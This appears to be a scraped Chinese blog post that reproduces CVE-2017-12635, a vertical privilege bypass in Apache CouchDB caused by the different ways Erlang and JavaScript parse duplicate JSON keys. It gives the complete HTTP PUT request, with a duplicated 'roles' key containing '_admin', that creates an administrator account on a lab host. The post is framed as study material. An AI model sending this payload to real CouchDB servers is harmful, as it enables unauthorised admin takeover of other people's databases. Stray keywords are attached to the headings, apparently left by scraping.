Couchdb 垂直權限繞過漏洞(CVE-2017-12635)漏洞復現

couchdb簡介:javascript

  • Apache CouchDB是一個開源的NoSQL數據庫,專一於易用性和成爲「徹底擁抱web的數據庫」。它是一個使用JSON做爲數據存儲格式,javascript做爲查詢語言,MapReduce和HTTP做爲API的NoSQL數據庫。 

漏洞原理:java

  • CVE-2017-12635:Erlang和JavaScript,對JSON解析方式的不一樣,致使語句執行產生差別性。這個漏洞能夠讓任意用戶建立管理員,屬於垂直權限繞過漏洞。
  • 舉例:
    Erlang:
    
    > jiffy:decode("{"a":"1", "a":"2"}").
    
    {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
    JavaScript: > JSON.parse("{"a":"1", "a": "2"}") {a: "2"}
  • 在定義一對鍵值對時,Eralang解析器將存儲兩個值;javascript只存儲第二個值。但jiffy實現時,getter函數只返回第一個值。這裏涉及的函數參考:https://www.anquanke.com/post/id/87256https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635

影響版本:git

  • 小於 1.7.0 以及 小於 2.1.1

復現:github

  • 構造建立用戶的數據包
  •  org.couchdb,user:$name  與name:$name是對應的,此時咱們沒有admin權限,因此會報錯forbidden。
  • 繞過role驗證:
  • payload:
    •   
      PUT /_users/org.couchdb.user:vulhub HTTP/1.1
      Host: 192.168.183.134:5984
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: application/json
      Content-Length: 110
      
      {
        "type": "user",
        "name": "vulhub",
        "roles": ["_admin"],
        "roles":[],
        "password": "vulhub111"
      }

一些小思考:web

  • 雖然分析說,只讀取第一個鍵值,按理來講,第二個值是任意的應該不影響,但我測試發現,只有爲空時,poc才正確操做。

  • 且在建立一個成功後,再重複發包,也會報錯409,
  • 修改已建立的密碼也不行

 

總結:數據庫

  這個仍是比較好利用,可是請別藉此破壞信息安全,僅爲學習。json

相關文章
相關標籤/搜索